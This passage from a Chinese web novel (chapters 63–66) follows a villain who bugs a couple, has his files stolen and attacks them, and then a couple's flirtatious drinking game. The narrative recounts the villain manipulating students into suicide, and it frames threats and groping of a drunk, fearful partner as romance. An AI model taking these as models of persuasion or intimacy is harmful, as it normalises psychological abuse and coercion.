【不要亲我了,我突然想起一件很重要的事情。】 兰稚青有些犹豫,【你说我们要不要也去算算命啊,我总觉得最近有点流年不顺,今天写论文的时候眼皮一直再跳。】 【宝宝,你不用太担心了,其实算命这种事情很简单的,我就会算命,不信的话我给你举个例子。】 【比如说那个路锡鸣吧,他天生就是个丑八怪的命,要是单纯长得丑还能整容,可是他的内在比长相还丑,就像是臭水沟,一靠近就臭不可闻,而且他那张脸整得也不怎么样,不过也不能怪医生不好,毕竟他实在太丑整成这样已经很不容易了。】 兰智正一脸诧异,难以置信道:“鸣哥,你整容了吗?” 路锡鸣:“……” 【再比如说那个兰智正,他天生就是个穷鬼命,他不仅穷,而且不要脸,没素质,这样的人就像是臭水沟里的癞蛤蟆,一天到晚做着白日梦,他为了去赌钱,不仅自己贷款,还偷了他哥的身份证复印件借了十五万的高利贷。】 兰智刚闻言脸色大变,他难以置信扭头看向兰智正,“你大爷的还拿我身份证去贷款了?!” 兰智正:“……” 【对了,还有那个叫什么兰智刚的,和他弟一样,两个人就是癞蛤蟆兄弟,其实我一直都怀疑他脑仁是不是都没有瓜子大,后来一想都已经是癞蛤蟆了,这样也勉强能够理解。】 【不过这个癞蛤蟆是写实派的癞蛤蟆,他被打个半死还不老实,一出医院就乱搞男女关系,结果确诊了梅毒乙肝HPV。】 兰智正和路锡鸣不约而同扫了一眼兰智刚脖子上的红色疱疹,路锡鸣神色大变,猛然和他拉开了距离,“你有传染病怎么不早说?!” 兰智刚:“……” 窃听器窸窸窣窣传来阵阵声响,兰稚青和沈寂讨论的东西无非就是今天午餐吃什么,今天晚餐吃什么,明天早餐吃什么,偶尔还夹杂着几句讨论凤梨和菠萝是不是一种东西。 原本他们是想窃听兰稚青和沈寂的动向,可是现在三人却隔得很远,陷入了谜一样的诡异沉默。 路锡鸣看到沈寂的车已经停下,他听到车门打开的声音,昭示着两个人已经到家。 窃听器传来了一阵尖锐的摩擦声,在漫长的沉寂之后,一道清晰无比的声音传了出来。 “丑八怪,还有你旁边的那两个癞蛤蟆……” 沈寂手里拿着那枚小小的窃听器,他轻笑了一声,开口道:“最好千万别死得太快。” 第64章 第64章你说的是哪种加班 路锡鸣不知道沈寂到底是怎么发现窃听器的存在的,他唯一清楚知道的就是,他和兰智刚兰智正三个人,现在已经隔着一层可悲的厚壁障。 兰智正看了一眼路锡鸣阴沉的脸色,试探问道:“鸣哥,我们现在怎么办啊,兰稚青他们会不会报警,万一警察找过来……” 路锡鸣闭了闭眼,不耐烦道:“你们先回去吧,之后我会再联系你们的。” “那鸣哥你再给我哥另外开个房呗,你看他这情况我们两个人也不好住同一个套房……” “兰智正,老子是你哥!你别忘了之前都是谁照顾你的,你他大爷的拿着我身份证贷款的时候怎么不说嫌弃我!” 兰智刚一直藏着的秘密就这么被大咧咧地公开,兰智正还是这么一番嫌弃态度,他气得脸红脖子粗的,对着他破口大骂:“你就和兰稚青一个臭德行,贱坯子!我们家有你们两个简直就是倒了八辈子霉!” “一码归一码好不好,你的病那是会传染的……” “滚!都给我滚!” 路锡鸣彻底忍无可忍,他抓起茶几上的杯子摔到了地上,玻璃碎片四处飞溅,兰智正吓了一跳,他不敢继续久留,连忙起身拿起自己的外套匆匆离开。 兰智刚紧随其后 ,两个人走出家门的时候还在不停地骂骂咧咧。 路锡鸣仰倒在沙发上,他揉了揉自己的眉心,脑子里简直就是一团乱麻。 沈寂轻蔑的语气像是魔音一样一直在他耳边环绕,他的眼前不自觉地闪过兰智刚脖子上那些红色疱疹,一时间反胃又恶心。 兰智刚坐过的沙发,他喝过的水杯,甚至还有他呼吸过的这一片空气,他想用兰家兄弟暗害沈寂,沈寂是不是也想用兰家兄弟害他。 没错,一定就是这样的……不然沈寂为什么要把这件事告诉他,他一定是早有预谋,兰智刚有传染病的事情就连兰智正都不知道…… 路锡鸣不自觉地也开始抓挠起了自己的皮肤,他以自己最快的速度打开了窗,对着窗口大口呼吸着新鲜空气,甚至连一秒钟都不敢多待,连忙抓起手机就要叫车去医院。 “哎,少爷,您这是怎么了?” 负责照顾路锡鸣的保姆是一个四十岁左右的中年妇女,她见路锡鸣急匆匆要赶着出门,连忙向他介绍起了站在她身后提着大包小包的年轻男人。 “少爷,这是新来的花艺师。” “路少您好,我是章强,今天琳达姐有事,所以就让我过来上门为您插花,您方便说一下您的喜好和需求……” “插花的事情先放一边,赵姨,你现在赶紧找人过来一趟,把家里的沙发茶几和杯子全部都给我换了!” 路锡鸣厉声道:“家里上上下下全部都要消毒,一个地方都不要放过!” “啊?这么突然……” 赵姨被路锡鸣的话吓了一跳,她刚想再多问几句,可是路锡鸣就已经急匆匆离开,看起来片刻也不想在家里多待。 “这个傻嗨赶着投胎啊,跑这么快。” 章强有些嫌弃地盯着路锡鸣的背影,直到看到他坐上电梯才和身边的赵姨吐槽。 “小点声吧,家里都有监控的。” 赵姨瞪了章强一眼,章强却满不在乎,他绕着客厅转了一圈,有些得意地朝赵姨晃了晃被拔掉的监控,轻嗤道:“什么监控啊,刚刚还不知道在屋子里干什么亏心事,生怕自己也跟着留下证据。” “行了,别在这里废话了,赶紧干活吧。” 赵姐带着章强去了角落里一个隐蔽的房间,门上还设置了密码锁,路锡鸣从来不允许除他以外的其他人擅自进入。 她努了努嘴,开口道:“就是这里,他每回都神神秘秘的不知道在里面捣鼓什么,不过我不太确定他在里面有没有安装监控,为了保险起见,还是小心一点比较好。” “没关系,我刚刚已经把他的监控弄坏了。” “这么厉害?你是黑客?” “当然不是,只是用了一点点的物理手段。” 章强灿烂一笑,笑眯眯道:“一般当看到我人出现的时候,我的BB和仔仔早就已经开始做嘢咯。” “……你这是什么口音,怪里怪气的。” 章强轻轻松松把门打开,他打开灯的开关,看到里面的景象不由得挑了挑眉。 室内的空间很大,几乎是正常两个房间的大小,靠墙摆着一个大架子,里面有各种泡在福尔马林里的动物标本,阴森森得看着格外的诡异。 赵姨在门口观望了一会儿还是跟着走了进去,她第一时间在房间里寻找监控的位置,想要查看章强是不是真的把监控给搞定了。 看得出来路锡鸣对这个房间确实很在意,这么大小的空间里他装了不下十个监控。 赵姨随手拿起了一个最显眼的监控摆弄了一会儿,发现监控的壳子里莫名其妙长出了两根细细的须子,她有些奇怪地碰了一下,下一刻那两根须子就晃动了起来。 她吓了一跳,下意识把那个监控扔了回去。 章强轻松破解了路锡鸣的电脑密码,一边拷贝文件一边抱怨道:“说实话我是真不喜欢来你们北方出差,又干又冷,要不是钱给的够多,我才不来呢。” “那你还是早点回去吧……” 赵姨帮忙仔细拍摄了房间内各个角落的细节照片,章强拷贝完了所有的文件,非常娴熟地把一切恢复了正常。 “哦对了,差点忘了。” 章强拍了拍脑袋,对赵姨笑眯眯道:“客户还有补充要求,我看这个傻嗨还在里面放了张床,我需要去布置一下。” …… 路锡鸣在医院几乎把能做的检查都做了一遍,结果一时半会儿出不来,他觉得自己就像是等待凌迟的死刑犯。 心理和生理的折磨实在让他受不了,他甚至在一瞬间突然想起了割腕自杀的李杰,旁人或许不知道李杰发生了什么,但是路锡鸣却一清二楚。 李杰在打工期间遭到了上司的侵犯,自此之后他就落下了严重的心理创伤,但由于囊中羞涩实在付不起高昂的心理治疗费用,所以只能像学校的心理咨询室求助。 路锡鸣也正是抓住了这一点,他有意无意向李杰透露传染病的消息,告诉他侵犯他的上司已经被抓,可是由于感染了HIV,所以大概率不会入狱。 他告诉李杰HIV的潜伏期很久,他的上司经常乱搞,指不定身上还携带着什么其他的传染病。 如果李杰还思维正常,那他或许还能有理智思考病毒暴露在外界环境中是否真的能存活那么久。 可是那个时候的他早就已经被抑郁和心理创伤折磨得崩溃,他逐渐开始产生疑病症,一天甚至要洗五次澡,隔三差五就要去医院检查自己的身体情况,最后彻底熬不下去选择了自杀。 路锡鸣觉得自己现在可能也有疑病症了,他的思维还很清晰,知道那些传染病病毒一般来说不会直接造成传染。 可是万一兰智刚的身上还有其他病呢,万一沈寂为了害他让他曾经不经意间接触了兰智刚的血液,万一沈寂只是单纯在兰智刚的身上放了毒呢…… 毕竟沈寂这个疯子什么事都有可能做的出来。 路锡鸣越想越觉得头疼,在极度的紧张之下,他甚至开始觉得自己身上的衣服,他的每一寸皮肤都带着恶心的病毒。 他没办法继续待下去,干脆去酒店开了间房,来来回回把自己洗了好几遍。 医院的一部分检查报告已经出了结果,路锡鸣几乎是片刻都不敢拖延,连忙又回了医院取报告回诊。 医生看过了路锡鸣的报告,开口道:“没什么大问题,都正常的。” “没事就好,没事就好……” “不过也不能随便就掉以轻心,我看你还检测了HPV,由于生理结构的差异,男性HPV病毒的检测可能不够准确,你可以先回家观察,如果有不舒服及时来医院……” “你开什么玩笑!我来医院不就是为了做检查吗,你说的是一堆什么屁话!” 情绪本来就在失控边缘的路锡鸣猛然掀了桌子,他双目赤红地盯着医生,看起来恨不得生食其肉。 医生吓了一跳,他下意识按下了按钮准备让保安过来处理情况。 可是路锡鸣却什么都没做,他踹开了面前的椅子,无视其他人诧异的视线,怒气冲冲离开了诊室。 他觉得自己的情绪已经到了临界点,他必须要得到发泄,可是偏偏现在他被警察盯上,实在不能再做出任何其他的事情。 路锡鸣深呼吸了几口,他努力让自己冷静下来,准备打车回家去他的秘密空间平复自己的心情。 赵姨按照路锡鸣的吩咐把客厅的家具都给换了一遍,顺便进行了全屋消毒,路锡鸣确认过没有任何问题,这才勉强定了定心。 他的房间是他最大的秘密,里面放满了他的收藏品,不管是曾经对他呲牙咧嘴的狗,还是曾经在他手上划出伤口的猫,它们现在就被跑进了罐子里。 他就 是这一方空间的上帝。 路锡鸣满足地躺在了房间的床上,闭上眼睛静静享受着这一刻的平静,所有的一切似乎都被他抛在了脑后,在极度的疲惫之后,他终于有了可以安心入睡的机会。 外面的天色已经渐黑,室内响起了阵阵窸窸窣窣的声音。 睡梦中的路锡鸣觉得自己身上有些发痒,他迷迷糊糊按亮了壁灯,掀开被子一看,发现满床都是密密麻麻的蟑螂。 “啊!!!” …… “路哥,路哥……你在听吗?” 眼镜男生见路锡鸣状态有些不好,他有些担忧地碰了碰路锡鸣的手臂,问道:“路哥,你没事吧,是不是生病了?” 路锡鸣脸色苍白,眼底下的黑眼圈几乎要耷拉到下巴了,整个人看起来憔悴无比。 昨天晚上他几乎和蟑螂斗争了一整夜,他想找人过来直接清理,可是又怕自己的秘密被人发现,到最后只能逃出家门避难。 可是这样还不是结束,他的衣服,他的头发,甚至他的书包里,都会出现一堆蟑螂,像是受到了某种诅咒,让他完全防不胜防。 “咦,那是不是之前和我们一起上课的那个学姐,她男朋友是不是隔壁C大的老师啊,之前我就说看他眼熟。” “师生恋啊,那年纪差得是不是挺大的。” 学姐……C大的老师…… 不会是兰稚青和沈寂吧?! 路锡鸣闻言猛然抬起了头,猝不及防对上了沈寂似笑非笑的眼神。 “好累,可不可以不写了……” 兰稚青没意识到自己又冤家路窄碰到了路锡鸣,她盯着屏幕上的论文头晕眼花,小声道:“我要晕字了。” 让她学习背题考试都无所谓,可是写论文是真的不行,她写了没两行字又想放弃,哼哼唧唧要回家睡觉。 沈寂闻言慢吞吞收回自己的视线,他扫了一眼兰稚青的屏幕,抬手掐了掐她的脸颊,“不可以,快点写,在家里你说太困了,去图书馆你又说氛围太沉重,现在什么理由都没用了。” 兰稚青张嘴就想要咬他的手,但是又后知后觉意识到现在是在公众场合,她只能不情不愿又把自己的注意力放到眼前的屏幕上。 沈寂果然是工作不够饱和,他一天到晚是闲得没事干了吗,天天盯着她写论文。 兰稚青有些欲哭无泪,她不想跟着沈寂去C大,因为沈寂实在是太过显眼,动不动就会有人过来和他打招呼,兰稚青是个非常典型的社恐,这种超额交流已经远远超出她的极限。 可是待在家里写论文就更不行了。 在外面的时候沈寂还会收敛一点,回了家里干脆连演都不演了,只要她偷懒,他就打她屁股,找各种各样的借口惩罚她。 兰稚青没办法,只能趁着回学校的时候跑到A大的咖啡厅避避风头,可是没想到还是要被沈寂拉着写论文。 “乖宝,从现在开始计时,一个小时之内你要把这一小节写完。” 沈寂似乎发现了兰稚青不赶着就不会写的习惯,他抬手看了一眼表,一开口就是资本家惨无人道的剥削,“每超出一分钟你就要多付我一个亲亲,超时半个小时后翻倍,超时一个小时今天晚上你就要加班了。” “那我不写了,我要今晚加班写!” 兰稚青死猪不怕开水烫,她闻言果断合上了电脑,认真道:“今天晚上我一定会好好写论文的。” 沈寂闻言没有说话,他只是微微侧头,似笑非笑地看着兰稚青。 “……” 兰稚青张了张嘴,她有些犹豫道:“等一下,你说的是哪种加班……” 沈寂含笑不语。 兰稚青陷入沉默,而后果断又打开了电脑。 沈寂和兰稚青这边相处得其乐融融,可是不远处的路锡鸣心情却有些焦躁。 他们今天是来这里商量拍摄作业的,组里的成员纷纷发表着各自的意见,唯有路锡鸣一直沉默不语。 他没有想到会在这里又碰到沈寂和兰稚青,此时脑子里一片混乱,他端起面前的咖啡一饮而尽,正打算称病离开,视线却突然瞥到了一个熟悉的身影。 “你好,欢迎光临,请问几位?” “我一个人,麻烦给我找个安静点的位置。” 纪云飞礼貌和店员道谢,他刚刚把东西放在桌上,就看到了神色诧异的路锡鸣。 “诶?是你啊,这么巧,我们之前在C大见过对不对?” “……你认错人了。” 路锡鸣实在拿捏不住面前这个非主流绿毛男的来历,两人上一次见面是在沈寂参加讲座的报告厅,这人似乎就是专程去找沈寂的,现在又出现在这里,实在是让他有些摸不到头脑。 他本来打算直接走,可是又害怕打草惊蛇,犹豫了片刻还是重新坐回了自己的座位。 小组成员的话他几乎没听进去几句,放在旁边的手机还在响个不停,路锡鸣心里烦躁,他刚刚打算把手机静音,却发现是兰智正发来的消息,看清上面的内容让他猛然一僵。 兰智正:【鸣哥,最近我听说了一件有趣的事情,你们学校之前自杀的三个人都和你有关系吧?】 兰智正:【图片.jpg】 兰智正:【你考虑一下,这些大概值多少,咱们兄弟一场,别太抠门哦(呲牙)】 路锡鸣手指颤抖地点开兰智正发来的图片,看到上面的聊天记录顿时眼前一黑。 上面是他和谭钰琳男友的聊天记录,他教对方怎么去PUA谭钰琳,教他如何操纵折磨谭钰琳,以及如何一步一步把谭钰琳逼到跳楼自杀。 这些东西被他当做战利品放在电脑的隐藏文件夹里,怎么会突然出现在兰智正的手上。 【这些东西你从哪里弄来的?!】 【是谁告诉你这些事的?】 【你赶紧说话啊!】 手机那头的兰智正没了动静,路锡鸣几乎要被气得冒烟,他之前打算事成之后直接讲兰家兄弟灭口,伪装成畏罪自杀,可是万万没想到兰智正转头竟然开始勒索他。 他手指颤抖地想要给兰智正打电话,可是在按下通话键的瞬间却突然停滞住。 给兰智正这些东西还能有谁。 沈寂明明拿到了他的犯罪证据,可是他不交给警察,反而送给兰智正让他过来精神折磨他,他是故意的,他绝对就是故意的! 贱人,这个贱人…… 路锡鸣有些神经质地站了起来,他一把将桌子上的杯子摔到了地上,店里的所有人都被他吓了一跳。 “路哥?路哥你到底怎么了……” 路锡鸣无视了组员对自己的关心,他抓起地上的玻璃碎片,像是一具行尸走肉一样朝沈寂和兰稚青的方向走了过去。 沈寂骂他是丑八怪,抢走他的猎物,还把他耍得团团转,他要杀了沈寂,一定要杀了沈寂…… 本来在写论文的兰稚青听到动静也抬头看了一眼,发现是路锡鸣在那里莫名其妙地发疯,她也吓了一跳,刚要和沈寂开口说话,就看到路锡鸣像个疯子一样拿着玻璃碎片朝他们走了过来。 沈寂一脸平静地看着路锡鸣,神色之中似乎还带着淡淡的嘲讽。 路锡鸣就像是被点燃的炸药,他骂骂咧咧,疯了一样抓着玻璃碎片朝沈寂扑了过去。 兰稚青的身体反应比脑子还要更快,她在路锡鸣扑过来的瞬间直接抬腿朝他的下半身踢了过去,炸毛道:“不准欺负我老公!” 路锡鸣发出了杀猪般的惨叫,他捂着自己的伤处在地上痛得打滚,旁边的人已经被吓傻了,他们本来想要过来查看路锡鸣的伤势,可是又害怕他是个喜怒无常的精神病无差别乱攻击人。 兰稚青后知后觉也意识到自己刚刚做了什么,她默默收回了自己脚,有些紧张地看向沈寂,不太确定道:“他不会残废吧?” “没关系,就算真废了也只是轻伤而已。” 沈寂随便扫了一眼,他拉着兰稚青的手含情脉脉道:“宝宝,幸好刚刚有你救我。” “你放心,我以后一定会好好保护你的。” 兰稚青莫名有一种赘婿多年终于扬眉吐气的感觉,她眼神亮晶晶的,试探问道:“今天可以不写论文了吗?” 沈寂笑容温和,回答道:“当然不可以。” 兰稚青:“……” 可恶,现在能不能再给路锡鸣补一脚。 第65章 第65章我比较喜欢传统一点的…… 店里的店 员已经报警,学校的保卫科也收到了消息,他们急匆匆赶来,看到一片狼藉的咖啡厅也吓了一跳。 路锡鸣倒在地上捂着自己伤处痛苦呻吟,旁边看起来像是罪魁祸首的一对男女,女的抱着电脑狂敲键盘,男的悠闲自在地端着咖啡,怎么看都有点不太对劲。 而且偌大的咖啡厅里这么多人,竟然没有一个过去把人扶起来的。 保安队长皱了皱眉,学生的安全是他们保卫科工作最关心的问题。 “同学,你没事吧,用不用先送你去医院?” 他见状顾不得询问更多事情的原委,想要上前主动搀扶起了路锡鸣。 “等一下。” 沈寂突然开口打断了保安队长的动作,他合上了兰稚青的电脑,拉着一脸茫然的兰稚青起身就要离开。 保安队长没摸清楚这是什么意思,他以为沈寂和兰稚青是想要逃逸,所以皱眉道:“不好意思,你们现在还不能走,警察马上就要来了,需要你们配合一下调查……” 沈寂没理会保安队长的话,他拉着兰稚青退到了门边,这才淡淡道:“你现在可以把他扶起来了。” 不是,这人神经病吧…… 保安队长觉得有些莫名其妙,他在心里暗自嘀咕了一句,抬手就要准备扶起路锡鸣。 而也就是在路锡鸣被他扶起的瞬间,一堆蟑螂从他的衣服里掉了出来,以极快的速度在地面上四处逃窜。 兰稚青原本还在纳闷,看到眼前的景象鸡皮疙瘩都起来了,吓得整个人都挂在了沈寂的身上。 一只蟑螂不可怕,十只蟑螂也不可怕,可是一堆密密麻麻的小蟑螂出现在面前,就实在有些掉san了。 店里的情况顿时一片混乱,离着门最近的沈寂第一时间抱着兰稚青离开了这处是非之地。 “怎么会突然有这么多蟑螂……” 兰稚青结结巴巴道:“我……我该不会把路锡鸣的原形给打出来了吧?” 路锡鸣的真实身份该不会真的是什么蟑螂怪吧。 “很有可能哦。” 沈寂扫了一眼不远处熟悉的绿毛,淡淡道:“因为白龙山的那个道士也过来了。” “什么?” 兰稚青闻言愣了一下,她顺着沈寂的视线看了过去,发现纪云飞正快步朝他们走来。 她微不可察皱了皱眉,示意沈寂先把自己放下来,没好气道:“怎么又是你,你不会是什么跟踪狂吧?” 纪云飞迎面就被兰稚青一通指责,他脸色僵了僵,嘴硬道:“什么跟踪狂……我只是凑巧来这里写小说的。” 兰稚青才不信他拙劣的借口,她拉起沈寂就准备离开,可是却又被纪云飞挡住了路。 “哎,你们先别走啊,最近我师父也在A市,我师父得知了你们的事情也非常感兴趣,你们要是方便的话……” “我们不方便。” 兰稚青眉头紧皱,打断道:“你要是真的那么急着捉妖那就赶紧去看看里面那个黄毛,他十有八九是什么蟑螂怪。” 说完她也不顾纪云飞是什么反应,头也不回地拉着沈寂气势汹汹离开。 不过走到一半她就意识到不对劲了,她脚步微顿,有些犹豫地侧头去看沈寂,不太确定道:“路锡鸣今天是不是真的疯了,我们是不是走应该留下来配合一下调查啊?” “没关系,律师会去处理的。” 沈寂对今天发生的事情并不意外,他一点一点折磨着路锡鸣,就像是路锡鸣当初折磨别人一样,顶多只能算得上是为民除害。 只是可惜路锡鸣突然发疯,耽误了他对兰稚青放亲亲高利贷。 兰稚青本来以为自己今天的论文板块已经因为这场突如其来的插曲被结束打断,可是没想到沈寂回到家后又开口道:“宝宝,今天晚上你要把没写完的论文写完哦。” “诶?这是什么东西啊,你得奖了吗,我们要不今晚回去庆祝一下吧。” 兰稚青闻言硬生生转了个话题,她看到了放在玄关处的纸袋,随手拿出里面金灿灿的奖杯,有些犹疑地念出了上面的字。 “……最佳情感达人奖?” 沈寂面色不改,随口解释道:“哦,那个是论坛发的奖,有的时候我会帮忙解答一些情感问题。” “哈?你竟然会去这种情感论坛?” 沈寂早上五点钟起床洗衣做饭打扫卫生,八点钟去学校上课,之后还要盯着她写论文,外加进行文学创作,他竟然还有时间去论坛当别人的情感导师? “因为我也需要去学习。” 沈寂对此也并不掩饰,他坦然道:“我是第一次恋爱,如果可以的话我希望我们可以规避掉所有的风险。” 兰稚青闻言微微一顿,她对沈寂的说法有些触动,耳朵都泛起了微微的红意,她翻了翻纸袋,发现里面还有一个盒子,上面的大字格外醒目。 “……真心话大冒险之情侣飞行棋超级大富翁?” “那个好像是附带的奖品,是新出的桌游。” “那我们玩一会儿这个吧!” 兰稚青在论文的压迫下好了伤疤忘了疼,早就忘了自己上一次和沈寂玩游戏被坑的有多惨,她兴奋道:“我玩飞行棋和大富翁都很厉害!” 沈寂闻言微顿,开口道:“可是宝宝,我不会玩飞行棋和大富翁。” 兰稚青:“……” 那不就更好了吗! 上一次她是因为掉进了沈寂的语言陷阱,所以才会城门失守,这次就不一样了,她觉得自己这回一定能报复回来! 沈寂看到她这么兴奋的表情神色有些微妙,不过白送到嘴边的兔子不吃白不吃,既然兰稚青这么主动,他自然没有拒绝的理由。 只不过他唯一没想到的就是,他只是去洗了澡的时间,兰稚青不知道从哪里又摸出了两瓶酒,正皱着眉头看着那张字数极多的玩法说明书。 沈寂委婉提醒道:“宝宝,只是一个游戏而已,还是不要喝酒了吧。” 兰稚青的酒量实在是太浅,真的要喝酒的话,估计游戏玩不过三轮她就已经醉倒。 “说明书上说准备一点酒更有氛围。” 兰稚青拿出自己早就准备好的杯子,介绍道:“这个是你的,这个是我的。” 沈寂盯着面前的酒杯陷入了沉默,许久才开口问道:“宝宝,你是准备让我拿红酒杯喝白酒吗?” 兰稚青对此振振有词,“我在家里没找到其他的杯子,而且你的酒量比我好,这样才比较公平。” “……那你手里的是什么?” 沈寂看向兰稚青手里小小的酒杯,再看看她旁边度数几乎低到没有的果酒,挑眉道:“这样真的好吗?” 兰稚青故意假装自己听不懂沈寂的意思,她硬生生凑过去把沈寂拉到地毯上坐下,撒娇道:“先玩一会儿嘛,反正明天是周末。” “好吧,你有偷偷看牌吗?” “当然没有。” 兰稚青闻言立马否认,“这种事情当然要留一点神秘感比较好。” 虽然沈寂已经和她坦白了很多事情,可是兰稚青还是觉得他神神秘秘的,沈寂对她的所有事情几乎了如指掌,可是她对于沈寂的过往曾经,包括他心里想的什么却几乎一概不知。 沈寂总是喜欢含糊其辞把事情给糊弄过去,她之前总是神不知鬼不觉地就被糊弄过去了,但是今天不一样,她今天就是要用酒精把沈寂的嘴给撬开。 这个混合版桌游的规则实在是太多了,兰稚青本来打算在飞 行棋上大展身手,但是实在看的头晕眼花,决定还是玩大富翁比较好。 大富翁模式的规则就比较简单,两个人轮流抽牌,抽到的不一定是真心话还是大冒险,如果抽到的人完成,那牌会继续转交到对方手中,如果对方完成,两人都可以掷骰子,如果无法完成,则罚酒一杯,如果对方完成,等待下次抽牌。 兰稚青存了个心眼,甚至特地把那些牌的内容看了一遍,确认过里面没有什么少儿不宜的口口内容才终于放心。 沈寂见她这么跃跃欲试自然也不能扫了她的兴致,甚至为了游戏的公正性还把之前用过的獬豸角也拿了出来。 游戏开始,他先发制人摸了一张牌,上面显示的是真心话:【最喜欢的姿势是哪一种?】 沈寂沉思了片刻,而后陡然陷入了沉默。 如果论体验的话,他比较喜欢兰稚青在上面,因为这样他比较方便亲亲,而且可以一览无遗,但是兰稚青在上面要么太快了,要么动了两下就要撒娇说自己累了。 如果论坚持程度的话,好像侧入的姿势兰稚青坚持得会久一点,但是每回也是哼哼唧唧的,总把头埋起来,而且他看不到兰稚青的脸,想要亲她总是比较麻烦,如果从后面的话,那就更没办法亲亲…… 这样看来似乎还是传统式更好,既不会给兰稚青带来太大的刺激,而且还可以正常亲亲。 沈寂顿了顿,非常矜持地开口道:“我比较喜欢传统一点的。” 木盒子没有反应,代表他说的是真话。 他的回答还挺正常的,没有看到牌的兰稚青非常乐观,直到她接过了沈寂递过来的牌。 “……” 这怎么和她之前看的牌不一样了?! 兰稚青一脸懵地看向沈寂,她张了张嘴,刚刚要问他是不是偷偷换牌了,可是话到嘴边又突然意识到这样问不就代表她偷偷换过牌了吗,到最后他只能硬生生改口。 “你……你……” 兰稚青对上沈寂似笑非笑的表情,气恼道:“你骗人!你哪里传统了?!” 什么时候传统两个字和兔兔女仆,狗狗围裙还有蕾丝小羊挂钩了! 沈寂对此一脸无辜,辩解道:“可是我的确就是一个很传统的人啊。” 兰稚青:“……” 如果沈寂都算得上传统,那这个世界上绝大多数人都属于未出土的僵尸木乃伊。 第66章 第66章你是棉花糖做的 对于兰稚青的指控,沈寂眉眼弯弯,无辜道:“可是盒子没有响,我没有说谎啊,宝宝,现在到你了。” 兰稚青拒绝回答这个问题。 她宁可接受惩罚喝酒,颤颤巍巍给自己的迷你小玻璃杯里倒了酒,非常气愤地一饮而尽。 沈寂获得了掷骰子的机会,他在地图上找到了对应的格数,把自己手里的小人放了上去。 第二轮换成兰稚青先抽卡,她有些紧张地从一沓卡片里摸出了一张,看到上面的内容顿时松了口气。 【大冒险:亲对方三分钟】 还好,不是什么奇怪的play。 被沈寂祸害太久了,兰稚青觉得自己都快脱敏了,现在对普通的亲亲早就已经接受良好。 她主动凑到沈寂的面前去亲他,虽然吻技还是一如既往的糊弄,大部分时间都是像兔子喝水一样乱舔,但是沈寂对此照单全收。 兰稚青磨蹭到了三分钟,她迫不及待要拿起骰子,可是下一秒沈寂却从她的手里拿过了牌,他低头扫了一眼上面的内容,直接把她又拉回怀里再度吻了上去。 “唔……你……” 兰稚青吓了一跳,她下意识想要推开沈寂,可是却后知后觉意识到他是在履行大冒险的内容。 比起兰稚青的敷衍,沈寂的明显认真多了,兰稚青被他亲得迷迷糊糊的,终于后知后觉意识到了这个游戏的bug所在。 虽然是真心话大冒险,可是抽到一张牌结果却要由两个人共同承担。 但问题是,她做得出来的事情沈寂全能照单全收,但是沈寂做得出来的事情她十有八九做不出来。 “时间到了……” 兰稚青有些气恼地推开了沈寂,抗议道:“不公平,这样一点都不公平!” 沈寂一脸无辜地看着她,反问道:“怎么了乖乖,哪里不公平了?” “就是不公平!明明都是你占便宜,你肯定把牌偷偷换了!” “可是宝宝……” 沈寂用手指蹭了蹭她的脸颊,似笑非笑道:“你不是说你没看过牌吗,怎么就知道是我把牌换了呢?” “我……我猜的不行吗?” 兰稚青哽了一下,她有些委屈,但还是坚持道:“肯定就是你偷偷换牌了!” “好吧,是我换了牌,我只是想开个玩笑。” 沈寂最终还是妥协下来,他从身后拿出被自己调换的纸牌,主动递到了兰稚青的手里,温声道:“这副牌才是。” 兰稚青接过纸牌掀起来看了几张,确认这是正常的牌才终于放心。 游戏再度继续,兰稚青兴奋地掷出骰子,好不容易向前前进了三格格子,沈寂扫了一眼,立马开始向她收取高额的地租。 “宝宝,按照规则,你要付我三千个金币,或者十个亲亲。” “为什么?!” 兰稚青难以置信道:“我才刚刚走了一步。” 沈寂低头看了一眼地图,解释道:“因为你现在踩的这块地皮是我买下的,我收租合情合理。” 兰稚青:“……” 她觉得自己纵横大富翁十年的地位遭到了挑战,心里顿时燃起了浓浓的战意,立志要在今天拿回属于自己的一切。 …… 于是在她一通猛如虎的操作之下,她不仅没有套出沈寂的话,反而还输了无数个亲亲,被沈寂从头到尾摸了个遍不说,还顺便把她所有的金币和身上穿着的内裤都输得干干净净。 “不要脱……这是我新买的……” 欲哭无泪的兰稚青试图反抗,但是却被地主沈寂无情镇压,他轻松按住了兰稚青挣扎的双腿,微冷的手指直接探进了她的裙摆,褪下了那一团微微濡湿的白色布料。 “嗯?” 沈寂低头看了一眼手里的布料,他似笑非笑抬头看了一眼脸红得像个苹果一样的兰稚青,反问道:“宝宝,为什么会是湿的?” 兰稚青虽然一直喝的是果酒,可是奈何她刚刚输的次数太多,现在积少成多,脑子已经因为过度摄入的酒精变得有些混沌。 对于沈寂的质问,她只能把自己装成一个鹌鹑,试图通过装死来逃避质问。 “我收到的产品有质量问题,你不说的话,我只能亲自检查一下了。” 万恶的地主沈寂再度朝兰稚青伸出了罪恶的双手,兰稚青试图进行反抗,但是没想到沈寂下一秒掏出了计算机,经过一通复杂的计算,发现兰稚青还倒欠他七十三万八千零五十个游戏币。 而兰稚青目前手头上的余额…… 兰稚青大脑一片空白,她扒拉了一下自己的盒子,而后惊讶发现—— 余额竟然是零耶。 “兰小姐,欠了我这么多钱,你打算怎么还?” 沈寂把计算器怼到了兰稚青的面前,兰稚青有些呆滞地眨了眨眼,结结巴巴道:“可是……这只是游戏币。” “游戏币也是币,宝宝,你想赖账吗?” 沈寂闻言毫不心虚,他神色微冷,抓住了兰稚青的手臂威胁道:“是你提出要玩游戏的,如果要你敢赖账,那我就只能把你关起来,让你天天写论文……” “不要关我……” 兰稚青此时已经基本丧失了一部分的思考能力,沈寂突然冷下的语气让她有些害怕,她小声道:“我会还钱的,我一定会还的……” “现在已经晚了,我要额外收一点利息。” 沈寂突然把她捞到了怀里,他上上下下把兰稚青从头到尾摸了 个遍,深知自己欠了钱的兰稚青丝毫不敢反抗,即使被沈寂又揉又捏,她也不敢掉眼泪,只能可怜巴巴地看着他。 “……乖宝,你是不是真的已经喝醉了?” 兰稚青过分的乖巧让沈寂感觉不太对劲,他凑过去亲了亲兰稚青的脸颊,突然开口试探道:“裙子撩起来,把腿张开一点。” 兰稚青闻言扁了扁嘴,她有些不太情愿,但还是按照沈寂的要求撩起了自己的裙摆。 沈寂:“……” 确定了,这回的确是醉了。 沈寂叹了口气,他帮兰稚青把裙子拉了下去,低头轻轻亲了亲她的脸颊,温声道:“我先抱你先回卧室吧,一会儿给你煮醒酒汤。” 兰稚青有些疑惑地看着他,她的腿轻轻蹭了蹭沈寂,茫然道:“可是我难受……” 